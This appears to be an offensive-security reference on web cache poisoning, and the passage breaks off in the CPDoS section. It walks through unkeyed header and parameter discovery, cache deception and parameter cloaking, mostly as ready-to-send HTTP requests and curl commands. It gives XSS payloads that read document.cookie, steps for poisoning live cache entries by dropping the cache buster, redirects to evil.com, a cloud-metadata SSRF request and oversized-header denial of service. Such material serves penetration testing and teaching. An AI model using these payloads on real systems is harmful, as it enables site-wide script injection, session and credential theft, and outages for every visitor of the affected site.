ᛉ Yggdrasil

Web

Web Cache Poisoning

15 Sep 2026 · 8,145 words · 37 min

Contents

A complete operational reference for Web Cache Poisoning covering unkeyed input discovery, cache oracle identification, poisoning via headers (Host, X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, Fat GET), response-based poisoning, cache deception, DOM-based cache poisoning, parameter cloaking, CPDoS, chaining with XSS/SSRF/open redirect, tool usage (Param Miner, ffuf, nuclei), and remediation. Mapped to MITRE ATT&CK T1557 / T1190 / T1059.


1. Core Concepts & Attack Types

WEB CACHE POISONING TAXONOMY:

WEB CACHE POISONING
├── UNKEYED HEADER POISONING
│   ├── Host / X-Forwarded-Host → reflected in response body/JS
│   ├── X-Forwarded-Scheme / X-Forwarded-Proto → scheme-based redirects
│   ├── X-Original-URL / X-Rewrite-URL → path override
│   └── X-HTTP-Method-Override → method manipulation
│
├── UNKEYED PARAMETER POISONING
│   ├── UTM/tracking params (utm_content, fbclid) → reflected but unkeyed
│   └── Arbitrary params reflected into response
│
├── FAT GET POISONING
│   └── GET request with body → body params unkeyed → reflected in response
│
├── CACHE DECEPTION
│   └── Trick cache into storing private/authenticated responses
│       accessible to unauthenticated users
│
├── DOM-BASED CACHE POISONING
│   └── Unkeyed input → stored in cache → JS reads it from cache → DOM XSS
│
├── PARAMETER CLOAKING
│   └── Discrepancy between cache key parsing and app parsing of params
│       → inject extra params the cache ignores, app processes
│
├── CPDoS (Cache Poisoning DoS)
│   ├── HTTP Header Oversize (HHO) → cache stores error response
│   ├── HTTP Meta Character (HMC) → cache stores 400 error
│   └── HTTP Method Override (HMO) → cache stores disallowed-method error
│
└── RESPONSE HEADER POISONING
    └── Unkeyed header alters response headers (CSP, CORS, Location)
        → cached → served to all users

Key Terms: - Cache Key — the set of request components (URL, Host, sometimes headers/cookies) the cache uses to identify a unique resource. Two requests with the same cache key get the same cached response. - Unkeyed Input — a request component (header, cookie, query param) that affects the response but is NOT part of the cache key. Injecting a malicious value here poisons the cached response for all users who match the key. - Cache Oracle — a way to determine whether a response was served from cache (X-Cache: HIT) or freshly generated (X-Cache: MISS). Required for confirming cache behavior. - Cache Buster — a unique parameter added to isolate testing to a specific cache entry, preventing accidental poisoning of production traffic during recon. - Keyed Parameter — a query parameter that IS part of the cache key. Injecting here doesn't poison other users' responses. - Cache Deception — the inverse attack: tricking the cache into storing a response that contains private data, making it accessible without authentication. - Vary Header — instructs the cache to include specific request headers (e.g., Accept-Encoding, Accept-Language) in the cache key. Affects which inputs are keyed vs unkeyed. - CDN / Reverse Proxy — commonly Cloudflare, Fastly, Varnish, Nginx, Squid, AWS CloudFront. Each has different default cache key behavior. - s-maxage — Cache-Control directive setting TTL for shared caches (CDN/proxy). Determines how long a poisoned entry persists. - Fat GET — a GET request that includes a request body. Some servers process body parameters; caches typically key only on URL, so body params are unkeyed.

Why It Happens:

REQUEST FLOW WITH CACHING:

Normal:
User ──[GET /]──► Cache ──[MISS]──► Backend ──[Response]──► Cache stores ──► User

Poisoned:
Attacker ──[GET / + X-Forwarded-Host: evil.com]──► Cache ──[MISS]──► Backend
  Backend generates response with evil.com embedded
  Cache stores AGAINST CACHE KEY: "GET /"    ← Host unkeyed, not in key
  ↓
Victim ──[GET /]──► Cache ──[HIT]──► Returns POISONED response (evil.com)
  Victim's browser loads attacker's resources

2. Cache Mechanics & Key Concepts

2.1 How Cache Keys Work

DEFAULT CACHE KEY (most implementations):
┌──────────────────────────────────────────┐
│  scheme + host + path + query string     │
│  https://target.com/page?id=1            │
└──────────────────────────────────────────┘

NOT IN DEFAULT CACHE KEY (commonly unkeyed):
  - Most HTTP headers (User-Agent, Cookie, X-Forwarded-Host, etc.)
  - Request body (GET requests)
  - Some query parameters (UTM params, analytics params)
  - Port number (in some implementations)
  - Fragment (#section — stripped before caching)

VARIES BY IMPLEMENTATION:
  - Cloudflare: keys on URL; ignores most headers unless Vary is set
  - Varnish: configurable via VCL; default keys on Host + URL
  - Nginx proxy_cache: keys on $scheme$proxy_host$request_uri
  - Fastly: highly configurable; some headers excluded by default
  - AWS CloudFront: configurable cache policies; headers opt-in

2.2 Cache Response Headers — Reading Cache State

# Hit indicators:
X-Cache: HIT                     # Varnish, Nginx, generic
X-Cache: Hit from cloudfront     # AWS CloudFront
CF-Cache-Status: HIT             # Cloudflare
X-Drupal-Cache: HIT              # Drupal
X-Varnish: 12345 67890           # Two numbers = HIT (request + cached)
Age: 30                          # Seconds since cached; > 0 = HIT

# Miss indicators:
X-Cache: MISS
CF-Cache-Status: MISS
Age: 0

# Other CF-Cache-Status values:
# DYNAMIC    → not cached by design
# BYPASS     → cache bypassed (cookie, Cache-Control: no-store)
# EXPIRED    → cached but TTL expired, refetched
# REVALIDATED → served from cache, validated with origin
# UPDATING   → serving stale while revalidating

# TTL headers:
Cache-Control: max-age=3600          # browser/proxy TTL
Cache-Control: s-maxage=3600         # shared cache (CDN) TTL
Cache-Control: public                # cacheable by shared caches
Cache-Control: private               # only browser cache, not CDN
Cache-Control: no-store              # don't cache at all
Cache-Control: no-cache              # cache but always revalidate
Surrogate-Control: max-age=3600      # Varnish/Fastly-specific TTL

2.3 Cache Key Normalization

# Caches often normalize the cache key differently than the app sees it:

# Port stripping:
# Cache key: https://target.com/       (port 443 stripped)
# But: https://target.com:443/         and
#      https://target.com/             → SAME cache entry

# Query parameter ordering (some caches):
# ?a=1&b=2 and ?b=2&a=1 → same cache key (sorted)

# URL encoding normalization:
# /page%2F and /page/  → may be same cache key (decoded)
# %41 (A) → /page and /page  → same

# Exploit: if cache normalizes but app doesn't:
# Cache key: /api/user?id=1
# App sees:  /api/user?id=1&admin=true   (extra param ignored by cache key)
# → Parameter cloaking opportunity

3. Reconnaissance — Identifying Cache Behavior

3.1 Confirm Caching is Active

# Step 1: Send a request twice, check if Age increases or X-Cache: HIT appears:
curl -sk https://target.com/ -v 2>&1 | grep -iE "x-cache|age|cf-cache|surrogate"
curl -sk https://target.com/ -v 2>&1 | grep -iE "x-cache|age|cf-cache|surrogate"

# Step 2: Look for cache headers in response:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT
# Age: N (>0 means it was cached)
# X-Varnish: with two numbers

# Step 3: Identify the cache implementation from headers:
# Server: nginx / varnish
# Via: 1.1 varnish
# X-Served-By: cache-xxx (Fastly)
# Server: cloudflare

3.2 Identify Cached vs Dynamic Pages

# Static resources are almost always cached:
/static/main.js
/assets/style.css
/images/logo.png

# API endpoints are often not cached:
/api/user/profile
/api/cart

# HTML pages — varies:
/ (homepage) — often cached
/search?q=... — sometimes cached (dangerous)
/account/settings — should NOT be cached (private)

# Test each interesting endpoint:
for path in "/" "/home" "/search" "/login" "/profile" "/api/data"; do
    echo "=== $path ===" 
    curl -sk "https://target.com${path}" -I 2>&1 | grep -iE "x-cache|age|cf-cache"
done

3.3 Establish a Cache Oracle

# A cache oracle lets you determine if YOUR request hit the cache
# The simplest oracle: X-Cache header

# Method 1: X-Cache response header
curl -sk https://target.com/ -v 2>&1 | grep "X-Cache"
# First request: X-Cache: MISS  → backend served it
# Second request: X-Cache: HIT  → cache served it

# Method 2: Response time difference
time curl -sk https://target.com/ -o /dev/null
# Cached responses are faster (10-50ms vs 200-500ms)

# Method 3: Age header
curl -sk https://target.com/ -I | grep "^Age:"
# Age: 0  → just cached or no cache
# Age: 45 → cached 45 seconds ago

# Method 4: Unique value injection
# Send request with unique cache-buster:
curl -sk "https://target.com/?cb=UNIQUE1" -v | grep "UNIQUE1"
curl -sk "https://target.com/?cb=UNIQUE1" -v | grep "UNIQUE1"
# If second response contains UNIQUE1 from cache → confirmed

# Method 5: ETag / Last-Modified change
# If ETag changes between identical requests → no cache (or short TTL)
# If ETag stays same → cache is serving

3.4 Cache Buster Strategy

# ALWAYS use cache busters during testing to avoid poisoning production:

# Good cache busters (unlikely to be keyed out):
?cb=RANDOM
?cachebust=RANDOM
?_=RANDOM
?v=RANDOM

# Generate unique busters in Burp:
# Use Burp Intruder → Payload type: Random → each request gets a unique param

# In curl:
BUSTER=$(date +%s%N | md5sum | head -c 8)
curl -sk "https://target.com/?cb=${BUSTER}" -v

# Confirm your buster is part of the cache key:
# Send: ?cb=test1 → MISS
# Send: ?cb=test1 → HIT (same buster → same cache entry)
# Send: ?cb=test2 → MISS (different buster → new cache entry)
# ✓ buster is keyed → safe to use for isolated testing

# After testing is done:
# Attempt poisoning WITHOUT the cache buster → poisons the real cache entry

4. Unkeyed Input Discovery

4.1 Manual Header Probing

# Probe each header and check if the response changes:
# If response changes BUT cache key stays the same → unkeyed input found

# Test headers one at a time — with a cache buster to isolate:
curl -sk "https://target.com/?cb=1" -H "X-Forwarded-Host: CANARY1337" -v
# → Does "CANARY1337" appear in the response?
# → Does X-Cache show HIT on a second identical request?

# If YES to both → X-Forwarded-Host is unkeyed and reflected → poisonable

# Commonly useful unkeyed headers:
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Forwarded-Scheme: https
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-HTTP-Method-Override: POST
X-Custom-IP-Authorization: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

4.2 Param Miner — Automated Header Discovery (Burp)

# Install: Burp BApp Store → Param Miner

# Usage:
# 1. Send any request to Burp Repeater
# 2. Right-click → Param Miner → Guess headers
# → Tests hundreds of header names
# → Reports any that change the response without changing the cache key
# → Output in Burp Extender output tab

# What Param Miner looks for:
# - Response body changes when header injected
# - Reflected header value in response
# - Different response length (unkeyed headers affecting response)
# - Cache behavior changes

# Param Miner also guesses:
# - Query parameters (for unkeyed param discovery)
# - JSON body parameters
# - Cookie names

4.3 Manual Query Parameter Testing

# Check if query params are keyed or unkeyed:

# Step 1: Send with cache buster:
GET /?cb=1&testparam=CANARY HTTP/1.1

# Step 2: Check if CANARY reflected in response

# Step 3: Send without testparam, same cb:
GET /?cb=1 HTTP/1.1
# → If "CANARY" appears in response → testparam is unkeyed (poisoned cache)
# → If response doesn't have CANARY → testparam IS keyed (different cache entry)

# Common unkeyed params:
# Analytics / tracking (often stripped from cache key):
utm_source, utm_medium, utm_campaign, utm_content, utm_term
fbclid, gclid, msclkid, _ga, mc_cid

# Test each:
curl -sk "https://target.com/?cb=1&utm_content=CANARY" | grep CANARY
curl -sk "https://target.com/?cb=1" | grep CANARY
# CANARY in second response → utm_content is unkeyed

4.4 Discovering Unkeyed Cookies

# Some caches ignore certain cookies in the key:
# Test if a cookie affects the response but isn't keyed:

curl -sk "https://target.com/?cb=1" \
    -H "Cookie: testcookie=CANARY" | grep CANARY

curl -sk "https://target.com/?cb=1" | grep CANARY
# If second response contains CANARY → cookie is unkeyed → poisonable

4.5 Fat GET — Request Body as Unkeyed Input

# GET with body — caches typically ignore the body, apps sometimes process it:
GET /?cb=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

testparam=CANARY
# Check if CANARY appears in response
# Cache will serve this to GET /?cb=1 (body not in cache key)

5. Poisoning via Unkeyed Headers

5.1 X-Forwarded-Host Poisoning

# Most common attack vector
# Many apps use X-Forwarded-Host (when set by a trusted proxy) to generate URLs

# Step 1: Confirm X-Forwarded-Host is unkeyed and reflected:
GET /?cb=BUSTER HTTP/1.1
Host: target.com
X-Forwarded-Host: CANARY.com

# Step 2: Check if CANARY.com appears in response body
# (in <script src>, <link href>, redirect Location, etc.)

# Step 3: Confirm it's cached (send same request again → HIT)

# Step 4: Poison without cache buster:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Step 5: Clean request should now return poisoned response:
GET / HTTP/1.1
Host: target.com
# → Response contains "evil.com" → cache poisoned

# With attacker payload:
X-Forwarded-Host: evil.com"><script>alert(document.cookie)</script>
X-Forwarded-Host: evil.com/evil.js#

5.2 X-Forwarded-Scheme / X-Forwarded-Proto Poisoning

# Some apps redirect http → https using the scheme header
# If X-Forwarded-Scheme is unkeyed but used for redirect generation:

GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# → App thinks request is HTTP → generates redirect to https://target.com/
# → Location: https://target.com/

# Combine with X-Forwarded-Host for redirect poison:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Forwarded-Scheme: http
# → Location: https://evil.com/   ← poisoned redirect cached for all users

# Confirm:
# Send twice with cache buster → HIT
# Remove buster → send clean request → observe redirect to evil.com

5.3 X-Forwarded-Scheme + X-Forwarded-Host Combo

# Very common real-world pattern:
# App uses both headers to reconstruct the full URL for redirects/links

GET /?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Forwarded-Scheme: nothttps

# Many apps check: if scheme != https → redirect to https://{X-Forwarded-Host}/
# Response: 301 Location: https://evil.com/
# → Cached → all users redirected to evil.com

5.4 X-Original-URL / X-Rewrite-URL Poisoning

# Symfony, Drupal, and some Nginx configs support X-Original-URL
# which overrides the request path

GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin/delete-user
# → App processes /admin/delete-user but cache keys on /
# → Access control bypass for cached path

GET /?cb=1 HTTP/1.1
Host: target.com
X-Original-URL: /admin
# → If admin content returned → unkeyed path override confirmed

# IIS / ASP.NET:
GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /admin

5.5 Host Header Poisoning (When Host is Unkeyed)

# Rare — most caches include Host in cache key
# But some CDN configurations don't (especially when routing by IP)

GET / HTTP/1.1
Host: evil.com
# → If backend reflects Host and cache doesn't key on it → poisoned

# More commonly: testing on direct IP with vhosting:
GET / HTTP/1.1
Host: admin.target.com
# → Different content returned for internal vhost

5.6 X-HTTP-Method-Override Poisoning

# Some apps use X-HTTP-Method-Override to allow PUT/DELETE via POST
# If a GET request is cached and X-HTTP-Method-Override affects behavior:

GET /api/data?cb=1 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: POST
# → If response changes (app treats it as POST) → unkeyed method override

# Can flip cached GET endpoints to behave like write operations

5.7 Vary Header — Keying Headers Explicitly

# The Vary response header tells the cache WHICH headers to include in the key
# If Vary: X-Forwarded-Host → cache keys on X-Forwarded-Host → no poisoning
# If Vary: Accept-Encoding → only encoding is keyed, not X-Forwarded-Host

# Check Vary header in response:
curl -sk https://target.com/ -I | grep "^Vary:"
# Vary: Accept-Encoding                   → only encoding keyed
# Vary: Accept-Encoding, User-Agent       → encoding + UA keyed
# Vary: *                                 → nothing cacheable
# No Vary header                          → only default cache key used

# If X-Forwarded-Host NOT in Vary → likely unkeyed → test for poisoning

6. Poisoning via Unkeyed Query Parameters

6.1 Reflected Unkeyed Parameter

# Target page reflects query params:
GET /search?q=hello HTTP/1.1
# Response: <p>Results for: hello</p>

# Test if q is keyed:
GET /search?q=CANARY&cb=1 HTTP/1.1
# → Response: "Results for: CANARY"
# Send: GET /search?cb=1 → Does response say "CANARY"?
# If YES → q is unkeyed → poisonable

# Poison:
GET /search HTTP/1.1
# With body (Fat GET) or without cb:
# Inject XSS via q:
GET /search?q="><script>alert(1)</script> HTTP/1.1

6.2 UTM / Analytics Parameter Poisoning

# UTM parameters are often stripped from cache keys (CDNs ignore them)
# but some apps reflect them in the response

# Test:
GET /?utm_content=<script>alert(1)</script>&cb=1 HTTP/1.1
# → If <script> appears in response AND cb=1 is cached → poisonable

# Full poison:
GET /?utm_content=<script>alert(1)</script> HTTP/1.1
# → Cache stores XSS response for GET / for all users

# Try all tracking params:
utm_source, utm_medium, utm_campaign, utm_content, utm_term
fbclid, gclid, msclkid, ref, referrer, source

6.3 Parameter Cloaking

# CONCEPT: Cache and app parse query strings differently
# Cache key: /search?q=test   (ignores "hidden" param)
# App sees:  /search?q=test&injected=evil  (processes injected param)

# Semicolon delimiter (Ruby on Rails, some Java):
GET /search?q=test;injected=evil HTTP/1.1
# Cache key: /search?q=test;injected=evil  → same as ?q=test;injected=evil
# App (Rails): parses "injected=evil" as separate param
# Ruby router sees: {q: "test", injected: "evil"}

# Encoded delimiter bypass:
GET /search?q=test%3Binjected%3Devil HTTP/1.1
# %3B = ; → cache may not decode, app does

# Duplicate param cloaking:
GET /search?q=test&q=evil HTTP/1.1
# Cache takes first: q=test
# App takes last: q=evil
# (or vice versa — test both)

# Encoded amp:
GET /search?q=test%26injected%3Devil HTTP/1.1
# %26 = & → cache sees one param (q=test&injected=evil as value)
# App decodes → two params

# Real-world example (Flask + Nginx cache):
GET /api/user?callback=legit;callback=evil HTTP/1.1
# Cache key: /api/user?callback=legit;callback=evil → unique
# JSONP endpoint: app takes last "callback" value → "evil"

6.4 Web Cache Poisoning via Origin Header

# Some CORS implementations reflect Origin in Access-Control-Allow-Origin
# If Origin is unkeyed:

GET /api/data?cb=1 HTTP/1.1
Host: target.com
Origin: https://evil.com

# If response contains: Access-Control-Allow-Origin: https://evil.com
# AND this is cached → all users receive CORS header allowing evil.com
# → evil.com can make credentialed requests to target.com's cached API responses

7. Cache Poisoning → XSS

7.1 Reflected XSS via Unkeyed Header (Cached)

# Pattern: unkeyed header value → reflected in HTML → cached

# Example — X-Forwarded-Host reflected in <script src>:
# App generates: <script src="//HOST/app.js"></script>
# Inject:
GET /?cb=1 HTTP/1.1
X-Forwarded-Host: evil.com

# Response: <script src="//evil.com/app.js"></script>
# Cache stores → all users load evil.com/app.js

# evil.com/app.js (attacker's server):
# → deliver stealer payload, redirect, phishing, etc.

7.2 XSS via Unkeyed Query Param (Cached)

# App reflects: <meta property="og:url" content="https://target.com/?q=VALUE">
# Or: <link rel="canonical" href="https://target.com/?q=VALUE">

# Test:
GET /?q=CANARY&cb=1 HTTP/1.1
# Is CANARY in response? Is it within an HTML attribute?

# Inject:
GET /?q=" onmouseover="alert(1)&cb=1 HTTP/1.1
# Or:
GET /?q=evil.com"><script>alert(document.cookie)</script>

# Confirm cached, remove cb=1 → poison GET / for all users

7.3 Stored XSS via Cache (Persistent)

# Unlike reflected XSS (one victim), cached XSS affects ALL users until cache expires
# Or until TTL (s-maxage) runs out

# Steps:
# 1. Identify unkeyed input that causes reflection in HTML sink
# 2. Test payload with cache buster → confirm XSS triggers
# 3. Remove cache buster → send poisoning request
# 4. Verify with clean request (no custom headers) → XSS present
# 5. Document TTL: check Age and max-age → cache clears after N seconds

# If target has long TTL (hours/days) → XSS persists until:
# - Cache expires (TTL)
# - Cache is cleared manually
# - A new request overwrites it

# Force cache refresh after reporting:
curl -sk https://target.com/ -H "Cache-Control: no-cache" -v
# Purge (Cloudflare API, if you have access):
# curl -X DELETE "https://api.cloudflare.com/client/v4/zones/ZONE_ID/purge_cache"
# Some caches key on a specific cookie value but ignore a second duplicate
# App reads the second cookie value → XSS sink

GET / HTTP/1.1
Cookie: session=valid; session=<script>alert(1)</script>
# Cache key uses first: session=valid → same entry for all users with valid session
# App reads second: → XSS

# Test: does cookie appear in response? Which duplicate does app use?

8. Cache Poisoning → Open Redirect

8.1 Redirect via Scheme Header Injection

# App logic:
# if X-Forwarded-Scheme != "https":
#     redirect to https://{Host}/path

GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# → 301/302 to https://target.com/

# Combine with X-Forwarded-Host:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Forwarded-Scheme: http
# → 301/302 Location: https://evil.com/
# Cache stores this redirect for GET /
# → All users visiting / are redirected to evil.com

8.2 Redirect via Unkeyed Path Override

# If X-Original-URL or X-Rewrite-URL is unkeyed and causes a redirect:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /redirect?url=https://evil.com

# Or abusing an open redirect endpoint:
GET / HTTP/1.1
X-Forwarded-Host: target.com/logout?next=https://evil.com
# → App generates link: https://target.com/logout?next=https://evil.com
# Which may auto-redirect to evil.com

8.3 Cache-Poisoned Open Redirect Chain

# Step 1: Identify open redirect at /redirect?url=VICTIM
# Step 2: Identify unkeyed header that's reflected in a redirect response
# Step 3: Inject unkeyed header to point redirect to evil.com
# Step 4: Cache stores the redirect → all users affected

# Example — poisoning a HSTS redirect:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Forwarded-Proto: http
# → 301 Location: https://evil.com/ (HSTS upgrade redirect poisoned)

9. Cache Poisoning → SSRF / RCE

9.1 SSRF via Cache-Poisoned Host Header

# If the app fetches resources using the Host header value internally:
GET /api/fetch-resource?cb=1 HTTP/1.1
Host: 169.254.169.254
# → App: fetches http://169.254.169.254/latest/meta-data/
# → AWS IMDS credentials returned
# → If X-Cache: HIT → cached → other users receive IMDS data

# Or internal service discovery:
GET / HTTP/1.1
Host: internal-service.corp:8080
# → App proxies request to internal-service.corp:8080
# → Internal content cached and served to public users

9.2 Cache Poisoning → RCE via Deserialization Trigger

# Pattern: an unkeyed header triggers a code path that deserializes data
# → Cached response means every user triggers deserialization

# Example:
GET /?cb=1 HTTP/1.1
X-Custom-Deserialize: <malicious_payload>
# If app deserializes this header value on every cached-response delivery
# → cached → every user who hits the cache entry triggers RCE

# Less common — usually requires deep application-specific knowledge
# But the cache amplifies a deserialization gadget to all users

9.3 Poisoning Internal API Responses

# Target: CDN caches API responses
# Unkeyed header: X-Forwarded-Host affects API URL construction

GET /api/v1/config?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# → Response: {"apiEndpoint": "https://evil.com/api/v1/"}
# → Cached → all clients read evil.com as their API endpoint
# → SSRF / account takeover / credential theft depending on what clients do

10. Cache Deception

HOW IT WORKS (inverse of poisoning): Attacker tricks the VICTIM into making a request that the CACHE incorrectly stores. The cached response contains the victim's private data. Attacker then fetches the same URL to retrieve the victim's data.

ATTACK FLOW:
1. Attacker crafts a URL:
   https://target.com/account/profile/nonexistent.css

2. Attacker sends this URL to victim (phishing, XSS redirect, etc.)

3. Victim (authenticated) visits the URL:
   GET /account/profile/nonexistent.css HTTP/1.1
   Cookie: session=victim_session
   → App serves /account/profile (ignores unknown extension)
   → Cache sees .css extension → caches it (static file assumption)

4. Attacker requests same URL (unauthenticated):
   GET /account/profile/nonexistent.css HTTP/1.1
   → Cache returns victim's profile data

10.1 Path Confusion Cache Deception

# App path handling: /account/profile/anything → serves /account/profile
# Cache path handling: /account/profile/file.css → cache as static file

# Test — does app serve profile page for non-existent subpath?:
curl -sk https://target.com/account/profile/test123 -b "session=VALID_SESSION"
# → If it returns the profile page → path confusion exists

# Deception URL patterns to try:
https://target.com/account/profile/nonexistent.css
https://target.com/account/profile/nonexistent.js
https://target.com/account/profile%0A/nonexistent.css  # newline injection
https://target.com/account/profile%3Bnonexistent.css   # semicolon
https://target.com/account/profile%23nonexistent.css   # hash (fragment)
https://target.com/account%2Fprofile/nonexistent.css   # encoded slash

10.2 Delimiter-Based Cache Deception

# URL delimiter confusion between cache and app:

# Semicolon — Ruby on Rails, some Java:
/account/profile;nonexistent.css
# Cache sees: /account/profile;nonexistent.css → caches as CSS
# App sees:  /account/profile  (strips ;nonexistent.css)

# Question mark (if cache strips ?):
/account/profile?.css
# Cache key: /account/profile?.css (may be keyed or stripped)
# App: serves profile (ignores ?.css as param)

# Encoded slash:
/account%2Fprofile/test.css
# App: /account/profile/test.css → serves profile
# Cache: may key on decoded or encoded form

# Path parameter (matrix params):
/account/profile;param=test.css
# Spring MVC: strips ;param=test.css → serves profile

# Dot-segment:
/account/./profile/test.css
# Cache key: /account/./profile/test.css
# App normalizes: /account/profile → serves profile

10.3 Cache Deception — Extension-Based

# CDN/cache rules: files ending in .css, .js, .jpg, etc. → always cache
# Exploit: append static-looking extension to private endpoint

/api/user/credentials.json       → if app ignores unknown path
/account/settings.css            → served as profile (app) / cached as CSS (CDN)
/admin/users.js                  → admin data cached as "static JS"

# Test:
curl -sk "https://target.com/account/profile/test.css" \
    -b "session=VALID_SESSION" -v 2>&1 | grep -iE "x-cache|age|set-cookie"
# If response = profile page AND X-Cache shows it's cacheable → deception works

10.4 Cache Deception vs Cache Poisoning

CACHE POISONING:                    CACHE DECEPTION:
- Attacker sends malicious request  - Attacker tricks victim into sending request
- Cache stores ATTACKER's payload   - Cache stores VICTIM's private response
- Affects ALL users                 - Affects only the targeted victim
- No victim interaction needed      - Requires victim to visit URL
  (until they visit)
- Goal: inject malicious content    - Goal: steal victim's data from cache

11. DOM-Based Cache Poisoning

HOW IT WORKS: An unkeyed input is reflected into the response. JavaScript on the page reads this value and passes it to a dangerous sink (innerHTML, document.write, eval, location.href). The poisoned response (with the attacker's payload in the reflected value) is cached and served to all users.

FLOW:
Attacker injects: X-Forwarded-Host: evil.com/malicious.js

Cached response contains:
  <script>
    var config = {"cdnUrl": "//evil.com/malicious.js"};
    // later:
    var s = document.createElement('script');
    s.src = config.cdnUrl;   ← sink
    document.head.appendChild(s);
  </script>

All users visiting the page load //evil.com/malicious.js

11.1 Identifying DOM Sinks that Use Cached Data

// Common JavaScript patterns vulnerable to cache poisoning:

// Direct document.write / innerHTML:
document.write("<script src='//"+HOST+"/app.js'></script>");
document.getElementById('x').innerHTML = "<img src='//"+HOST+"/img.png'>";

// location.href / window.location:
window.location = "https://" + HOST + "/redirect";
location.href = data.redirect;

// jQuery:
$.getScript("//"+HOST+"/app.js");
$(location).attr("href", HOST+"/path");

// eval / Function constructor:
eval("var x = '"+REFLECTED_VALUE+"'");
new Function("return "+REFLECTED_VALUE)();

// Script src injection:
var s = document.createElement('script');
s.src = config.baseURL + "/app.js";   // config.baseURL from reflected value

// postMessage:
window.postMessage(REFLECTED_VALUE, '*');  // if sink processes data

11.2 DOM Poisoning — Step by Step

# Step 1: Find a page where JS uses a value from a reflected/unkeyed source
# Look in JS for: location, document.referrer, cookie, URL params → DOM sinks

# Step 2: Trace the data flow:
# Source: X-Forwarded-Host → reflected into window.__config.host
# Sink:   fetch("https://"+window.__config.host+"/api")

# Step 3: Inject payload via unkeyed header:
GET /?cb=1 HTTP/1.1
X-Forwarded-Host: evil.com

# Confirm JS now contains evil.com
# Confirm cached (X-Cache: HIT)

# Step 4: Poison without cache buster → all users affected

# Step 5: Serve payload from evil.com:
# evil.com/api → return JS payload (cookie stealer, keylogger, etc.)

11.3 DOM Cache Poisoning via JSON Response

# API endpoint caches JSON that JS reads:
GET /api/config HTTP/1.1
# Response: {"theme":"default","baseURL":"https://cdn.target.com"}

# If X-Forwarded-Host changes baseURL:
GET /api/config?cb=1 HTTP/1.1
X-Forwarded-Host: evil.com
# Response: {"theme":"default","baseURL":"https://evil.com"}

# If /api/config is cached and JS does:
# fetch('/api/config').then(r=>r.json()).then(c=>loadScript(c.baseURL+'/app.js'))
# → Poisoned cache → all users load evil.com/app.js

12. Parameter Cloaking

DETAILED MECHANISM:

Request: GET /search?q=test;injected=evil

CDN/Cache sees:
  Cache key: /search?q=test;injected=evil   → unique key

App (Rails) sees:
  params = {q: "test", injected: "evil"}    → semicolon is a delimiter

Problem if:
  - App has an open redirect: if params[:injected] → redirect to params[:injected]
  - Cache key = /search?q=test;injected=evil → attacker controls this key
  - But if user visits /search?q=test → DIFFERENT cache key → no hit

Better attack: find a case where cache normalizes the key differently than the app

12.1 Semicolon Delimiter Cloaking

# Rails, some Java frameworks use ; as param delimiter

# Inject via semicolon:
GET /page?keyed=value;unkeyed=CANARY HTTP/1.1
# Cache key: /page?keyed=value;unkeyed=CANARY
# App: {keyed: "value", unkeyed: "CANARY"}

# More useful — if unkeyed= causes reflection:
GET /page?lang=en;lang=<script>alert(1)</script> HTTP/1.1
# Cache key: /page?lang=en;lang=XSS (unique, attacker-controlled)
# App takes second lang → XSS reflected

# The real power: when cache strips the "extra" param from key:
# Cache normalizes: /page?lang=en  (drops ;lang=... as fragment/weird)
# App processes:    /page?lang=<XSS>
# → Cache stores XSS response under /page?lang=en → poisoned for all

12.2 Encoded Delimiter Cloaking

# URL-encoded characters that are delimiters for the app but not cache:

# %26 = & → app decodes to &, cache may not
GET /search?q=test%26injected=evil HTTP/1.1
# Cache key: /search?q=test%26injected=evil   → one param (q)
# App (decoded): /search?q=test&injected=evil → two params

# %3B = ; → semicolon cloaking via encoding
GET /search?q=test%3Binjected=evil HTTP/1.1

# %23 = # → fragment cloaking
GET /search?q=test%23injected=evil HTTP/1.1
# Cache key: /search?q=test (strips fragment)
# App: may process #injected=evil if fragment is read server-side (uncommon)

12.3 Duplicate Parameter Cloaking

# HTTP spec is ambiguous on duplicate params
# Different parsers take first / last / merge them

# Test which the app uses:
GET /search?q=first&q=second HTTP/1.1
# → Does response say "first" or "second"?

# Cache key: /search?q=first&q=second → unique (both included)
# But if cache normalizes to: /search?q=first → keyed on first only
# And app uses: second → attacker injects second param → affects cache entry for first

# Inject:
GET /search?q=safe&q=<script>alert(1)</script> HTTP/1.1
# If cache strips second q → key = /search?q=safe
# If app processes last q → XSS
# → Poisoned cache entry for all users visiting /search?q=safe

13. Cache Poisoning DoS (CPDoS)

HOW IT WORKS: Attacker sends a request with headers that cause the backend to return an error response (400, 500). The cache stores this error response. All subsequent legitimate users receive the error → effective DoS.

CPDoS VARIANTS:
├── HHO (HTTP Header OverSize) → oversized headers → 400/413 cached
├── HMC (HTTP Meta Character) → invalid chars in headers → 400 cached
└── HMO (HTTP Method Override) → override to disallowed method → 405 cached

13.1 HHO — Header Oversize Attack

# Send a request with oversized headers → backend returns 400/413
# Cache stores the error response → DoS for all users

GET /?cb=1 HTTP/1.1
Host: target.com
X-Oversized-Header: [30000+ characters AAAA...]
# → Backend: 400 Bad Request or 413 Too Large
# → Cache stores 400 response for GET /?cb=1
# → Remove cb=1 → poison GET / → all users get 400

# Generate oversized header:
python3 -c "print('X-Oversized-Header: ' + 'A'*30000)"

# Test with curl:
curl -sk "https://target.com/?cb=1" \
    -H "X-Test: $(python3 -c "print('A'*30000)")" \
    -v 2>&1 | head -20
# If response is 400 AND X-Cache: MISS → try without cb=

13.2 HMC — Meta Character Injection

